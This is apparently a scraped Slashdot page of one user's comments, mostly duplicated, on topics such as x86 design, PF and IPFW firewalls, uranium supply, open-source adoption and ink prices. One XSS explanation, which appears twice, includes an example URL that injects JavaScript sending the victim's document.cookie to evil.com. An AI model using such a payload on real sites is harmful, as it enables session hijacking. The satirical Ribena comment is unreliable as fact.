A little off-topic:
I've had a picture of a die for my desktop wallpaper for a while now, and I think it works well. I'd really like some larger pictures of the dies they give here. Does anyone know where I would find larger ones?
In this day and age of multi-core CPUs, why not have a processor with a X64 ISA core and a core with the desired architecture. Let them run in parallel like 32/64 bit compatible CPUs.
Because that uses very valuable die real estate. These days x86 is already converted into micro-ops, which is like another instruction set altogether, which can be more easily re-ordered to be made more efficient.
Basically x86 isn't a perfect instruction set for today's landscape, but then again UNIX isn't a perfect operating system for today's landscape; that doesn't mean it's not still very good and we shouldn't praise those who have made it so good.
Some say plan9 has a better design than Linux, some say that PPC has a better design than x86, but apparently design isn't everything.
Lots of things could be better if we could get everyone to migrate from what they currently use, but would it be worth it in this case? I don't think so, at least not until we reach the limits that better design & hardware can do.
XSS is a vague term, but lots of people would put "JavaScript hijacking" under the same umbrella as XSS. Your typical XSS attack involves injecting JavaScript into the target domain (this may involve social engineering the victim into going to a url which will inject the JavaScript, eg http://friendly.com/?var=image.src='http://evil.co m/'+document.cookie ).
If you can inject the JavaScript needed to do this you can usually also get it to read webmail etc. I won't repeat the things given by others that distinguish the attack posted in TFA from a regular XSS attack.
I mean think about it... it's almost april 1st, the page it links to makes no sense... anyone else smell a prank here? How long did it take you to figure that one out, Sherlock? (By the way it already is April 1st in more than half the world)
Basically in the early 1990's Ribena corporation realized that their profits were declining to the soda giant Schweppes, and because of all the money they wasted on ads with a black man dressed in purple who squeezed Ribena drinks, who's catchphase was "Ribena. Squeeze it."
They discovered that Ribena was only ever consumed when force-fed to children by parents, or to OAPs by their caretakers; no-one was drinking it out of their own free will anymore.
When Schweppes began hinting that they were developing their own water flavoring syrup which wouldn't taste like dentist mouth-wash Ribena corp adopted a policy of aggressively closing the target market.
This is why Ribena is marketed as a teeth friendly drink, containing your daily vitamin-C requirement; Ribena want to give as many children ruined smiles and scurvy as possible. They hope that no-one will notice only Ribena drinkers are getting scurvy, and thus that more people will start drinking vitamin-C rich Ribena in an effort to combat the ensuing scurvy plague.
I also run an OSS project phpDiplomacy, so I appreciate that coding your own stuff is more fun and interesting, but working for real people that require you meet a deadline may be more attractive on your CV.
Or, if you're good enough, do some freelance coding. Places like rentacoder are good because people hire you based on your skills and price, and not your qualifications.
The obvious added bonus is that if you're prolific enough you can actually earn your uni fees as you go; it's working well for me so far. It's also a fairly good place to apply all the stuff you learn in your software engineering units.
I've written an article on configuring PF, so I'm not speaking out of ignorance, and I really like PF and use it for my home firewall, so I don't speak out of spite..
But PF isn't really suitable for a firewall that will be moderately complex. Even in my home LAN I feel the strain of PF's simplicity. The syntax truly is elegant and readable, but it's also inflexible.
You can't queue outgoing packets. This means to do outbound traffic shaping you need to queue upload speed on the incoming interface, which is a messy hack that can't queue packets addressed to the gateway itself.
You can only tag packets with one label. If you're translating packets you can only tell what the translated packet is on the other interface using a single tag.
You can't change rules on the fly with switches; you have to load new rulesets. I have to use cron to invoke sed to create PF rulesets for different times of the day from a template ruleset.
Don't let me turn you away from PF; it is perfect for simple cases, but as your needs get more complex you find yourself in the much feared situation of having to change to a different solution, but having to throw away a lot of time invested in good firewall rules to do so.
If you think your needs will scale I'd recommend IPFW. Instead of having a stream of packets come in, and passing through rules until it reaches the end (or a pass/block quick), it uses an elegant system whereby you channel packets into different chains of rules.
If you imagine a stream of packets coming in you can tell all TCP packets, say, to switch to a certain point in the rules, and UDP to go to another section. You might then break up the TCP stream into different ports heading to different services, and then into streams coming from different subnets. You can translate packets with NAT, and then the packet will continue in the ruleset at the point it left off.
This way can be more daunting at first, but as the complexity of your ruleset increases it becomes far more logical, practical and readable.
So I'd say choose between PF and IPFW depending on how complex you expect your ruleset to become.
Re:Which is why India's looking at thorium...
on
The Coming Uranium Crisis
·
· Score: 4, Interesting
It's better; we've got so much uranium around we don't know what to do with it! The problem is we're using high uranium-235 fuel, leaving lots of u-238 around. We bury it underground, talk about throwing it into the earth's conveyor belt so it gets sucked under, etc.
Interesting thing is that in the same breeder reactors as the GGP posted about you can use u-238 as a fissile fuel; it's a slightly more expensive process which is why we don't use it.
We have somewhere in the range of 10,000 to 4 billion years of energy via breeder reactors (and they're currently in production; it's not science fiction, it's just a bit more expensive).
Saying we're running out of uranium is like saying we're running out of rock. We've got so much of it around we're trying to get rid of it!
I'd say this is anti-nuclear pro-drum-circle sensationalist garbage.
You bet they can come up with some crime that vaguely matches this though. Anti-graffiti laws maybe, who knows? A bit of creativity and liberal use of words and you can easily make this a crime.
Are you calling the virgin Mary a hermaphrodite?! Blasphemy!
As we probably all know 'virgin' was indisputably a mistranslation; the Hebrew for 'young woman' (almah) was translated into the Greek for 'virgin' (parthenos). I wonder why we all still refer to her as the virgin Mary, now that we know she wasn't (necessarily, to be absolutely pedantic) a virgin.
I recall this being submittedtwice at the beginning of the month and I had skimmed the full report[PDF WARNING!].
If you look over that, you'll see what specific software they did their trials with, the security issues, concerns about the SCO case, the scope of their trials & what recommendations they left.
However, the only section being discussed in the article is this one:
Hardware resources and the "Green" agenda
One of the benefits frequently put forward for the use of Open Source Software is the
level of resources needed to support it. This means that for equivalent Open Source
and Microsoft Windows systems, the Open Source system will require less memory
and a slower processor speed for the same functionality.
Open Source operating systems such as Linux do not usually have the regular major
upgrades that are a feature of Windows, and thus do not have the requirement that
goes with these upgrades for a new or upgraded computer to run them. This means
that a computer running Linux can have a significantly longer working life than an
equivalent computer running Windows. This has the potential to impact significantly
on costs, including purchase of software and hardware, and indirectly by reducing
business disruption whilst implementing change and upgrading. There are also
potential Green Agenda benefits, through reducing the energy and resources consumed
in manufacturing replacement equipment, and reducing landfill requirements and costs
arising from disposal of redundant equipment.
Industry observers quote a typical hardware refresh period for Microsoft Windows
systems as 3-4 years; a major UK manufacturing organisation quotes its hardware
refresh period for Linux systems as 6-8 years.
Aside from that, the report has your basic run of the mill attitude of OSS being great financially & security wise but, oh, it would take so many resources to train everyone:
Lessons learned: Adoption of Open Source, particularly for the desktop,
requires investment in planning, training of users, development of skills for
implementation and support, and detailed consideration of migration and
interoperability issues.
Not to mention redoing all of the proprietary apps that have been written for Windows, which lots of businesses require. If you factor in the cost to software developers having to re-implement their software and users having to buy it again, I'd say it'd cost much more than 600 million pounds. Not to mention training, as you said.
It would be positive to get a more diverse environment and more competition, and I hope WINE continues to progress, but I think the way they look at it over-simplifies it.
I don't get it though, there has to be another side to this. This is crooked-old-guy-with-an-eye-patch-stroking-a-cat-a nd-laughing-insanely-behind-his-desk-as-lightening -cracks-in-the-background Hollywood style evil.
French fries are long and thin, chips (in England) are thicker and shorter.
Here in Australia you get a strange crossover between British and American English, and so chips can mean either crisps or fries depending on context.
A more complex substance? Concrete may be a complex substance but that has nothing to do with the price; it's about abundance, and oil is much more abundant than ink.
Maybe when a lucky Texan strikes black, yellow, cyan, and magenta gold ink prices will plummet, but until then..
I recently started using ink refills, where you inject fresh ink in using a syringe. It seems to be working fine so far, but I'll wait and see. Anyone else have any experience with this?
Finally, a post that isn't "100 million years? Sounds like a/. geek"
One other thing that makes this news story a little strange is 'Researchers say that their study "refutes the idea that sex is necessary for diversification into evolutionary species".'. It seems like a strange thing to say, since the definition of a species is a group of animals that interbreed and have fertile offspring in the wild.
How do you even clearly define a species if it doesn't have sex?
Either
a) He's a homosexual, and you're implying that for some reason he just hasn't thought of getting a boyfriend.
b) He's not, and you're posting because you have to tell everyone that you're gay, because it's so controversial and we're so interested.
While I'm posting, what is the point in gaybuntu.com ? What do gay people get out of gaybuntu.com that they don't get out of ubuntuforums.org, or FreeNode?
Are gay people discriminated against in these sites? No. Can people even distinguish between sexualities online (when people aren't broadcasting their sexuality to everyone)? No.
I also think that it is one of those things were proclaiming your sexuality means confidence, and bravery.
No, it doesn't. You're not brave, no-one cares, get over it. By building separating people into communities instead of just being who you are in any community, aren't you effectively reversing the work that brave homosexuals did decades ago?
Developers will soon have to pay big bucks to use ajax technologies. It's the Microsoft way.
Spoken by someone who clearly doesn't understand the first thing about AJAX or where the first functions which initiated it were developed.
Back in IE 5.0 when XMLHTTPRequest was an ActiveX function commentators, by the logic used in this thread, might have cried "Embrace extend extinguish! This is MS trying to remove competitors and forcing them to play catch up!".
Years on XMLHTTPRequest is a JavaScript function which is the backbone of AJAX everywhere; Microsoft officially joins an initiative to get a more uniform AJAX platform and people cry "Embrace extend extinguish! This is MS trying to remove competitors and forcing them to play catch up!".
I'm not saying others wouldn't have come up with it if Microsoft hadn't, but it does say something about calling foul too often and too early.
Slashdot Mirror
A little off-topic:
I've had a picture of a die for my desktop wallpaper for a while now, and I think it works well. I'd really like some larger pictures of the dies they give here. Does anyone know where I would find larger ones?
Basically x86 isn't a perfect instruction set for today's landscape, but then again UNIX isn't a perfect operating system for today's landscape; that doesn't mean it's not still very good and we shouldn't praise those who have made it so good.
Some say plan9 has a better design than Linux, some say that PPC has a better design than x86, but apparently design isn't everything.
Lots of things could be better if we could get everyone to migrate from what they currently use, but would it be worth it in this case? I don't think so, at least not until we reach the limits that better design & hardware can do.
XSS is a vague term, but lots of people would put "JavaScript hijacking" under the same umbrella as XSS. Your typical XSS attack involves injecting JavaScript into the target domain (this may involve social engineering the victim into going to a url which will inject the JavaScript, eg http://friendly.com/?var=image.src='http://evil.co m/'+document.cookie ).
If you can inject the JavaScript needed to do this you can usually also get it to read webmail etc. I won't repeat the things given by others that distinguish the attack posted in TFA from a regular XSS attack.
I mean think about it... it's almost april 1st, the page it links to makes no sense... anyone else smell a prank here? How long did it take you to figure that one out, Sherlock? (By the way it already is April 1st in more than half the world)
Basically in the early 1990's Ribena corporation realized that their profits were declining to the soda giant Schweppes, and because of all the money they wasted on ads with a black man dressed in purple who squeezed Ribena drinks, who's catchphase was "Ribena. Squeeze it."
They discovered that Ribena was only ever consumed when force-fed to children by parents, or to OAPs by their caretakers; no-one was drinking it out of their own free will anymore.
When Schweppes began hinting that they were developing their own water flavoring syrup which wouldn't taste like dentist mouth-wash Ribena corp adopted a policy of aggressively closing the target market.
This is why Ribena is marketed as a teeth friendly drink, containing your daily vitamin-C requirement; Ribena want to give as many children ruined smiles and scurvy as possible. They hope that no-one will notice only Ribena drinkers are getting scurvy, and thus that more people will start drinking vitamin-C rich Ribena in an effort to combat the ensuing scurvy plague.
An "Oh shit - nobody thunk of that" moment which building a particle accelerator.. Promising.
Occam's razor (a.k.a common sense) tells us that if a guy is out sailing alone and disappears, chances are he's not partying in Mexico...
That's the silliest thing I've heard all day..
I also run an OSS project phpDiplomacy, so I appreciate that coding your own stuff is more fun and interesting, but working for real people that require you meet a deadline may be more attractive on your CV.
Or, if you're good enough, do some freelance coding. Places like rentacoder are good because people hire you based on your skills and price, and not your qualifications.
The obvious added bonus is that if you're prolific enough you can actually earn your uni fees as you go; it's working well for me so far. It's also a fairly good place to apply all the stuff you learn in your software engineering units.
But PF isn't really suitable for a firewall that will be moderately complex. Even in my home LAN I feel the strain of PF's simplicity. The syntax truly is elegant and readable, but it's also inflexible.
Don't let me turn you away from PF; it is perfect for simple cases, but as your needs get more complex you find yourself in the much feared situation of having to change to a different solution, but having to throw away a lot of time invested in good firewall rules to do so.
If you think your needs will scale I'd recommend IPFW. Instead of having a stream of packets come in, and passing through rules until it reaches the end (or a pass/block quick), it uses an elegant system whereby you channel packets into different chains of rules.
If you imagine a stream of packets coming in you can tell all TCP packets, say, to switch to a certain point in the rules, and UDP to go to another section. You might then break up the TCP stream into different ports heading to different services, and then into streams coming from different subnets. You can translate packets with NAT, and then the packet will continue in the ruleset at the point it left off.
This way can be more daunting at first, but as the complexity of your ruleset increases it becomes far more logical, practical and readable.
So I'd say choose between PF and IPFW depending on how complex you expect your ruleset to become.
It's better; we've got so much uranium around we don't know what to do with it! The problem is we're using high uranium-235 fuel, leaving lots of u-238 around. We bury it underground, talk about throwing it into the earth's conveyor belt so it gets sucked under, etc.
Interesting thing is that in the same breeder reactors as the GGP posted about you can use u-238 as a fissile fuel; it's a slightly more expensive process which is why we don't use it.
We have somewhere in the range of 10,000 to 4 billion years of energy via breeder reactors (and they're currently in production; it's not science fiction, it's just a bit more expensive).
Saying we're running out of uranium is like saying we're running out of rock. We've got so much of it around we're trying to get rid of it!
I'd say this is anti-nuclear pro-drum-circle sensationalist garbage.
You bet they can come up with some crime that vaguely matches this though. Anti-graffiti laws maybe, who knows? A bit of creativity and liberal use of words and you can easily make this a crime.
Are you calling the virgin Mary a hermaphrodite?! Blasphemy!
As we probably all know 'virgin' was indisputably a mistranslation; the Hebrew for 'young woman' (almah) was translated into the Greek for 'virgin' (parthenos). I wonder why we all still refer to her as the virgin Mary, now that we know she wasn't (necessarily, to be absolutely pedantic) a virgin.
If you look over that, you'll see what specific software they did their trials with, the security issues, concerns about the SCO case, the scope of their trials & what recommendations they left.
However, the only section being discussed in the article is this one: Aside from that, the report has your basic run of the mill attitude of OSS being great financially & security wise but, oh, it would take so many resources to train everyone: Not to mention redoing all of the proprietary apps that have been written for Windows, which lots of businesses require. If you factor in the cost to software developers having to re-implement their software and users having to buy it again, I'd say it'd cost much more than 600 million pounds. Not to mention training, as you said.
It would be positive to get a more diverse environment and more competition, and I hope WINE continues to progress, but I think the way they look at it over-simplifies it.
I don't get it though, there has to be another side to this. This is crooked-old-guy-with-an-eye-patch-stroking-a-cat-a nd-laughing-insanely-behind-his-desk-as-lightening -cracks-in-the-background Hollywood style evil.
Is there anything we're not being told?
French fries are long and thin, chips (in England) are thicker and shorter.
Here in Australia you get a strange crossover between British and American English, and so chips can mean either crisps or fries depending on context.
The best indication? How about getting a financial report? They are a public company, you don't need to look for signs.
A more complex substance? Concrete may be a complex substance but that has nothing to do with the price; it's about abundance, and oil is much more abundant than ink.
Maybe when a lucky Texan strikes black, yellow, cyan, and magenta gold ink prices will plummet, but until then..
I recently started using ink refills, where you inject fresh ink in using a syringe. It seems to be working fine so far, but I'll wait and see. Anyone else have any experience with this?
Finally, a post that isn't "100 million years? Sounds like a /. geek"
One other thing that makes this news story a little strange is 'Researchers say that their study "refutes the idea that sex is necessary for diversification into evolutionary species".'. It seems like a strange thing to say, since the definition of a species is a group of animals that interbreed and have fertile offspring in the wild.
How do you even clearly define a species if it doesn't have sex?
a) He's a homosexual, and you're implying that for some reason he just hasn't thought of getting a boyfriend.
b) He's not, and you're posting because you have to tell everyone that you're gay, because it's so controversial and we're so interested.
While I'm posting, what is the point in gaybuntu.com ? What do gay people get out of gaybuntu.com that they don't get out of ubuntuforums.org, or FreeNode?
Are gay people discriminated against in these sites? No. Can people even distinguish between sexualities online (when people aren't broadcasting their sexuality to everyone)? No.
Taken from Is Gaybuntu really necessary?: No, it doesn't. You're not brave, no-one cares, get over it. By building separating people into communities instead of just being who you are in any community, aren't you effectively reversing the work that brave homosexuals did decades ago?
Back in IE 5.0 when XMLHTTPRequest was an ActiveX function commentators, by the logic used in this thread, might have cried "Embrace extend extinguish! This is MS trying to remove competitors and forcing them to play catch up!".
Years on XMLHTTPRequest is a JavaScript function which is the backbone of AJAX everywhere; Microsoft officially joins an initiative to get a more uniform AJAX platform and people cry "Embrace extend extinguish! This is MS trying to remove competitors and forcing them to play catch up!".
I'm not saying others wouldn't have come up with it if Microsoft hadn't, but it does say something about calling foul too often and too early.